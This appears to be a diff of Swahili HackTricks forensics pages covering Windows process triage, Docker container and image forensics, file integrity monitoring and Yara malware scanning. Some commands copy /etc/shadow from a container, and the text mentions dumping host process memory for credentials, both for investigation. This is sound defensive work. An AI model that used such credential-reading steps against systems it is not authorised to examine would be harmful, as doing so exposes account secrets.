Inazindua **services.exe**, **lsass.exe**, na **lsm.exe** katika Kikao cha 0. Inapaswa kuwa na mchakato mmoja tu.
|
||||
**Mchakato wa Kuanzisha Windows**. \
|
||||
Inazindua **services.exe**, **lsass.exe**, na **lsm.exe** katika Kikao 0. Inapaswa kuwa mchakato mmoja tu.
|
||||
|
||||
|
||||
## userinit.exe
|
||||
|
||||
**Programu ya Ingia ya Userinit**.\
|
||||
Inapakia **ntduser.dat katika HKCU** na inaanzisha **mazingira ya mtumiaji** na inatekeleza **maandishi ya kuingia** na **GPO**.
|
||||
**Programu ya Kuingia ya Mtumiaji**.\
|
||||
Inapakia **ntduser.dat katika HKCU** na kuanzisha **mazingira ya mtumiaji** na kutekeleza **maandishi ya kuingia** na **GPO**.
|
||||
|
||||
Inazindua **explorer.exe**.
|
||||
|
||||
|
||||
## lsm.exe
|
||||
|
||||
**Meneja wa Kikao cha Lokal**.\
|
||||
Inafanya kazi na smss.exe kubadilisha vikao vya mtumiaji: Kuingia/kutoka, kuanza kwa kichupo, kufunga/kufungua kufungwa, nk.
|
||||
**Meneja wa Kikao cha Lokali**.\
|
||||
Inafanya kazi na smss.exe kubadilisha vikao vya mtumiaji: Kuingia/kutoka, kuanza kwa kifaa cha kuingia, kufunga/kufuli desktop, n.k.
|
||||
|
||||
Baada ya W7 lsm.exe iligeuzwa kuwa huduma (lsm.dll).
|
||||
|
||||
Inapaswa kuwa na mchakato mmoja tu katika W7 na kutoka kwao huduma inayotumia DLL.
|
||||
Inapaswa kuwa mchakato mmoja tu katika W7 na kati yao huduma inayoendesha DLL.
|
||||
|
||||
|
||||
## services.exe
|
||||
|
||||
**Meneja wa Udhibiti wa Huduma**.\
|
||||
Ina **kuzaa** **huduma** zilizo **sanidiwa kama kuanza moja kwa moja** na **madereva**.
|
||||
Ina **paki** **huduma** zilizoconfigure kama **kuanza moja kwa moja** na **madereva**.
|
||||
|
||||
Ni mchakato mzazi wa **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** na wengine wengi.
|
||||
|
||||
Huduma zimefafanuliwa katika `HKLM\SYSTEM\CurrentControlSet\Services` na mchakato huu unahifadhi DB kumbukumbu ya habari ya huduma ambayo inaweza kuulizwa na sc.exe.
|
||||
|
||||
Tazama jinsi **baadhi ya huduma** **zitakuwa zikikimbia katika mchakato wao wenyewe** na zingine zitakuwa **zinafungua mchakato wa svchost.exe**.
|
||||
Tambua jinsi **baadhi ya** **huduma** zitakuwa zinaendesha katika **mchakato wao wenyewe** na zingine zitakuwa **zinashiriki mchakato wa svchost.exe**.
|
||||
|
||||
Inapaswa kuwa na mchakato mmoja tu.
|
||||
Inapaswa kuwa mchakato mmoja tu.
|
||||
|
||||
|
||||
## lsass.exe
|
||||
|
||||
**Mamlaka ya Usalama wa Lokal**.\
|
||||
Inahusika na **uthibitishaji** wa mtumiaji na kuunda **vitambulisho vya usalama**. Inatumia vifurushi vya uthibitishaji vilivyoko katika `HKLM\System\CurrentControlSet\Control\Lsa`.
|
||||
**Mfumo wa Mamlaka wa Usalama wa Lokali**.\
|
||||
Inahusika na **uthibitishaji** wa mtumiaji na kuunda **vitambulisho vya usalama**. Inatumia paketi za uthibitishaji zilizoko katika `HKLM\System\CurrentControlSet\Control\Lsa`.
|
||||
|
||||
Inaandika kwenye **tukio la usalama** **la usalama** na inapaswa kuwa na mchakato mmoja tu.
|
||||
Inaandika kwenye **tukio la usalama** na inapaswa kuwa mchakato mmoja tu.
|
||||
|
||||
Kumbuka kuwa mchakato huu unashambuliwa sana ili kupata nywila.
|
||||
Kumbuka kuwa mchakato huu unashambuliwa sana kwa kudondosha nywila.
|
||||
|
||||
|
||||
## svchost.exe
|
||||
|
||||
**Mchakato Mwenyeji wa Huduma Mbadala**.\
|
||||
**Mchakato wa Mwenyeji wa Huduma ya Kawaida**.\
|
||||
Inahifadhi huduma nyingi za DLL katika mchakato mmoja ulioshirikiwa.
|
||||
|
||||
Kawaida, utagundua kuwa **svchost.exe** inazinduliwa na bendera ya `-k`. Hii itazindua uchunguzi kwenye usajili **HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** ambapo kutakuwa na funguo na hoja iliyotajwa katika -k ambayo italeta huduma za kuzindua katika mchakato huo huo.
|
||||
Kawaida, utaona kwamba **svchost.exe** inazinduliwa na bendera ya `-k`. Hii itazindua uchunguzi kwa usajili **HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** ambapo kutakuwa na funguo na hoja iliyotajwa katika -k ambayo italeta huduma za kuzindua katika mchakato huo huo.
|
||||
|
||||
Kwa mfano: `-k UnistackSvcGroup` itazindua: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc`
|
||||
|
||||
Ikiwa **bendera `-s`** pia inatumika na hoja, basi svchost inaulizwa **kuzindua huduma iliyoainishwa tu** katika hoja hii.
|
||||
Ikiwa **bendera `-s`** pia inatumika na hoja, basi svchost inaulizwa **kuzindua huduma iliyotajwa tu** katika hoja hii.
|
||||
|
||||
Kutakuwa na michakato kadhaa ya `svchost.exe`. Ikiwa yeyote wao **haifanyi matumizi ya bendera `-k`**, basi hiyo ni ya kutiliwa shaka sana. Ikiwa utagundua kuwa **services.exe sio mzazi**, hiyo pia ni ya kutiliwa shaka.
|
||||
Kutakuwa na michakato kadhaa ya `svchost.exe`. Ikiwa mojawapo yao **haifanyi matumizi ya bendera ya `-k`**, basi hiyo ni ya kutiliwa shaka sana. Ikiwa utagundua kwamba **services.exe sio mzazi**, hiyo pia ni ya kutiliwa shaka.
|
||||
|
||||
|
||||
## taskhost.exe
|
||||
|
||||
Mchakato huu hufanya kama mwenyeji kwa michakato inayokimbia kutoka kwa DLL. Pia inapakia huduma zinazokimbia kutoka kwa DLL.
|
||||
Mchakato huu hufanya kama mwenyeji wa michakato inayoendeshwa kutoka kwa DLLs. Pia inapakia huduma zinazoendeshwa kutoka kwa DLLs.
|
||||
|
||||
Katika W8 hii inaitwa taskhostex.exe na katika W10 taskhostw.exe.
|
||||
|
||||
|
||||
## explorer.exe
|
||||
|
||||
Hii ndio mchakato unaohusika na **desktop ya mtumiaji** na kuzindua faili kupitia viendelezi vya faili.
|
||||
Huu ni mchakato unayehusika na **desktop ya mtumiaji** na kuzindua faili kupitia nyongeza za faili.
|
||||
|
||||
**Mchakato 1 tu** unapaswa kuundwa **kwa kila mtumiaji aliyeingia**.
|
||||
**Mchakato 1 tu** unapaswa kuundwa **kwa kila mtumiaji aliyeingia.**
|
||||
|
||||
Hii inatekelezwa kutoka kwa **userinit.exe** ambayo inapaswa kufutwa, kwa hivyo **mzazi haitapaswi kuonekana** kwa mchakato huu.
|
||||
Hii inaendeshwa kutoka kwa **userinit.exe** ambayo inapaswa kusitishwa, kwa hivyo **mzazi haitaonekana** kwa mchakato huu.
|
||||
|
||||
|
||||
# Kukamata Michak
|
||||
# Kukamata Michakato ya Kudhuru
|
||||
|
||||
* Je! Inaendeshwa kutoka kwenye njia inayotarajiwa? (Hakuna binaries za Windows zinaendeshwa kutoka eneo la muda)
|
||||
* Je! Ina mawasiliano na anwani za IP za ajabu?
|
||||
* Angalia saini za dijitali (artifacts za Microsoft zinapaswa kuwa zimesainiwa)
|
||||
* Je! Imeandikwa kwa usahihi?
|
||||
* Inaendeshwa chini ya SID inayotarajiwa?
|
||||
* Je! Mchakato mzazi ni ule unaotarajiwa (ikiwa upo)?
|
||||
* Je! Michakato ya watoto ni ile inayotarajiwa? (bila cmd.exe, wscript.exe, powershell.exe..?)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,28 +1,29 @@
|
|||
# Uchunguzi wa Docker
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Kubadilisha Kontena
|
||||
|
||||
Kuna mashaka kwamba kontena fulani la docker limeingiliwa:
|
||||
Kuna mashaka kwamba kontena fulani la docker lilidukuliwa:
|
||||
```bash
|
||||
docker ps
|
||||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||||
cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress
|
||||
```
|
||||
Unaweza **kwa urahisi kupata marekebisho yaliyofanywa kwenye kontena hili kuhusiana na picha** na:
|
||||
Unaweza **kwa urahisi **kupata marekebisho yaliyofanywa kwenye chombo hiki kuhusiana na picha** na:
|
||||
```bash
|
||||
docker diff wordpress
|
||||
C /var
|
||||
|
|
@ -36,31 +37,31 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI
|
|||
A /var/lib/mysql/mysql/general_log.CSV
|
||||
...
|
||||
```
|
||||
Katika amri ya awali **C** inamaanisha **Kilichobadilika** na **A,** **Ongeza**.\
|
||||
Katika amri iliyotangulia **C** inamaanisha **Kilichobadilika** na **A,** **Ongeza**.\
|
||||
Ikiwa utagundua kwamba faili fulani ya kuvutia kama vile `/etc/shadow` ilibadilishwa unaweza kuipakua kutoka kwenye kontena ili uchunguze shughuli za uovu kwa:
|
||||
```bash
|
||||
docker cp wordpress:/etc/shadow.
|
||||
```
|
||||
Unaweza pia **kulilinganisha na ile ya asili** kwa kukimbia kontena mpya na kutoa faili kutoka humo:
|
||||
Unaweza pia **kulilinganisha na asili yake** kwa kukimbia kontena mpya na kuchambua faili kutoka humo:
|
||||
```bash
|
||||
docker run -d lamp-wordpress
|
||||
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
|
||||
diff original_shadow shadow
|
||||
```
|
||||
Ikiwa unagundua kwamba **faili fulani ya shaka imeongezwa** unaweza kupata ufikivu wa chombo na kuichunguza:
|
||||
Ikiwa unagundua kwamba **faili fulani ya shaka imeongezwa** unaweza kufikia chombo na kuichunguza:
|
||||
```bash
|
||||
docker exec -it wordpress bash
|
||||
```
|
||||
## Kubadilisha Picha
|
||||
|
||||
Unapopewa picha ya docker iliyohamishiwa (labda katika muundo wa `.tar`) unaweza kutumia [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) **kuchambua muhtasari wa mabadiliko**:
|
||||
Unapopewa picha ya docker iliyohamishiwa (labda katika muundo wa `.tar`) unaweza kutumia [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) **kutoa muhtasari wa mabadiliko**:
|
||||
```bash
|
||||
docker save <image> > image.tar #Export the image to a .tar file
|
||||
container-diff analyze -t sizelayer image.tar
|
||||
container-diff analyze -t history image.tar
|
||||
container-diff analyze -t metadata image.tar
|
||||
```
|
||||
Kisha, unaweza **kupunguza ukubwa** wa picha na **kufikia blobs** ili kutafuta faili za shaka ambazo unaweza kuzipata katika historia ya mabadiliko:
|
||||
Kisha, unaweza **kufyatua** picha na **kufikia blobs** kutafuta faili za shaka ambazo unaweza kuzipata katika historia ya mabadiliko:
|
||||
```bash
|
||||
tar -xf image.tar
|
||||
```
|
||||
|
|
@ -74,7 +75,7 @@ Unaweza pia kupata muhtasari wa **historia ya mabadiliko** kwa:
|
|||
```bash
|
||||
docker history --no-trunc <image>
|
||||
```
|
||||
Unaweza pia kuzalisha **dockerfile kutoka kwa picha** na:
|
||||
Unaweza pia kuzalisha **dockerfile kutoka kwa picha** kwa:
|
||||
```bash
|
||||
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
|
||||
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
|
||||
|
|
@ -90,9 +91,9 @@ Loaded image: flask:latest
|
|||
#And then open it with dive:
|
||||
sudo dive flask:latest
|
||||
```
|
||||
Hii inakuwezesha **kuvinjari kupitia blobs tofauti za picha za docker** na kuangalia ni faili zipi zilizobadilishwa/kuongezwa. **Nyekundu** inamaanisha imeongezwa na **manjano** inamaanisha imebadilishwa. Tumia **tab** kuhamia kwenye maoni mengine na **nafasi** kufunga/kufungua folda.
|
||||
Hii inakuwezesha **kupitia vitu tofauti vya blobs za picha za docker** na kuangalia ni faili zipi zilizobadilishwa/kuongezwa. **Nyekundu** inamaanisha imeongezwa na **manjano** inamaanisha imebadilishwa. Tumia **tab** kuhamia kwenye maoni mengine na **nafasi** kufunga/kufungua folda.
|
||||
|
||||
Kwa die hutaweza kupata maudhui ya hatua tofauti za picha. Ili kufanya hivyo utahitaji **kudecompress kila safu na kufikia**.\
|
||||
Kwa kufanya hivyo hutaweza kupata maudhui ya hatua tofauti za picha. Ili kufanya hivyo utahitaji **kudecompress kila safu na kufikia**.\
|
||||
Unaweza kudecompress safu zote kutoka kwenye picha kutoka kwenye saraka ambapo picha ilikuwa imekudecompress kwa kutekeleza:
|
||||
```bash
|
||||
tar -xf image.tar
|
||||
|
|
@ -102,4 +103,4 @@ for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; don
|
|||
|
||||
Tafadhali kumbuka kwamba unapotekeleza chombo cha docker ndani ya mwenyeji **unaweza kuona michakato inayoendeshwa kwenye chombo kutoka kwa mwenyeji** kwa kutekeleza tu `ps -ef`
|
||||
|
||||
Kwa hivyo (kama mtumiaji wa mizizi) unaweza **kudump kumbukumbu ya michakato** kutoka kwa mwenyeji na kutafuta **vitambulisho** kama [**kwenye mfano ufuatao**](../../linux-hardening/privilege-escalation/#process-memory).
|
||||
Hivyo (kama mtumiaji wa mizizi) unaweza **kudondosha kumbukumbu ya michakato** kutoka kwa mwenyeji na kutafuta **vitambulisho** kama [**ilivyo kwenye mfano ufuatao**](../../linux-hardening/privilege-escalation/#process-memory).
|
||||
|
|
|
|||
|
|
@ -1,33 +1,34 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze & zoezi AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Msingi
|
||||
# Kiwango cha Msingi
|
||||
|
||||
Msingi unajumuisha kuchukua picha ya sehemu fulani ya mfumo ili **kuilinganisha na hali ya baadaye ili kubaini mabadiliko**.
|
||||
Kiwango cha msingi kinajumuisha kuchukua picha ya sehemu fulani za mfumo ili **kulinganisha na hali ya baadaye ili kubaini mabadiliko**.
|
||||
|
||||
Kwa mfano, unaweza kuhesabu na kuhifadhi hash ya kila faili kwenye mfumo wa faili ili uweze kugundua ni faili zipi zilizobadilishwa.\
|
||||
Hii pia inaweza kufanywa na akaunti za watumiaji zilizoundwa, michakato inayoendeshwa, huduma zinazoendeshwa na chochote kingine ambacho hakitakiwi kubadilika sana, au kabisa.
|
||||
|
||||
## Kufuatilia Uadilifu wa Faili
|
||||
## Ufuatiliaji wa Uadilifu wa Faili
|
||||
|
||||
Kufuatilia Uadilifu wa Faili (FIM) ni mbinu muhimu ya usalama inayolinda mazingira ya IT na data kwa kufuatilia mabadiliko katika faili. Inajumuisha hatua mbili muhimu:
|
||||
Ufuatiliaji wa Uadilifu wa Faili (FIM) ni mbinu muhimu ya usalama inayolinda mazingira ya IT na data kwa kufuatilia mabadiliko katika faili. Inajumuisha hatua mbili muhimu:
|
||||
|
||||
1. **Ulinganisho wa Msingi:** Weka msingi kwa kutumia sifa za faili au checksums za kryptografiki (kama MD5 au SHA-2) kwa kulinganisha baadaye ili kugundua mabadiliko.
|
||||
2. **Arifa za Mabadiliko Halisi:** Pata arifa za papo hapo wakati faili zinapofikiwa au kuhaririwa, kawaida kupitia nyongeza za kernel za OS.
|
||||
1. **Ulinganisho wa Kiwango cha Msingi:** Weka kiwango cha msingi kwa kutumia sifa za faili au checksums za kryptographi (kama MD5 au SHA-2) kwa kulinganisha baadaye ili kugundua mabadiliko.
|
||||
2. **Taarifa za Mabadiliko Halisi:** Pata arifa za papo hapo wakati faili zinapofikiwa au kuhaririwa, kawaida kupitia nyongeza za msingi wa OS.
|
||||
|
||||
## Zana
|
||||
## Vyombo
|
||||
|
||||
* [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring)
|
||||
* [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software)
|
||||
|
|
@ -37,16 +38,17 @@ Kufuatilia Uadilifu wa Faili (FIM) ni mbinu muhimu ya usalama inayolinda mazingi
|
|||
* [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,20 +1,21 @@
|
|||
# Uchambuzi wa Programu Hasidi
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Vipeperushi vya Uchunguzi wa Kielektroniki
|
||||
## Vipeperushi vya Uchunguzi wa Kijuujuu
|
||||
|
||||
[https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/)
|
||||
|
||||
|
|
@ -26,7 +27,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* [Intezer](https://analyze.intezer.com)
|
||||
* [Any.Run](https://any.run/)
|
||||
|
||||
## Zana za Kupambana na Virus na Uchunguzi Nje ya Mtandao
|
||||
## Zana za Kugundua na Kupambana na Programu za Kupambana na Virus Bila Mtandao
|
||||
|
||||
### Yara
|
||||
|
||||
|
|
@ -34,10 +35,10 @@ Njia nyingine za kusaidia HackTricks:
|
|||
```bash
|
||||
sudo apt-get install -y yara
|
||||
```
|
||||
#### Andaa sheria
|
||||
#### Jipange sheria
|
||||
|
||||
Tumia script hii kupakua na kuchanganya sheria zote za yara za zisizo za kawaida kutoka github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
|
||||
Unda directory ya _**sheria**_ na kuitekeleza. Hii itaunda faili inayoitwa _**malware\_rules.yar**_ ambayo ina sheria zote za yara kwa ajili ya zisizo za kawaida.
|
||||
Tumia script hii kupakua na kuchanganya sheria zote za yara za zisizo kutoka github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
|
||||
Unda directory ya _**sheria**_ na uitekeleze. Hii itaunda faili inayoitwa _**malware\_rules.yar**_ ambayo ina sheria zote za yara kwa ajili ya zisizo.
|
||||
```bash
|
||||
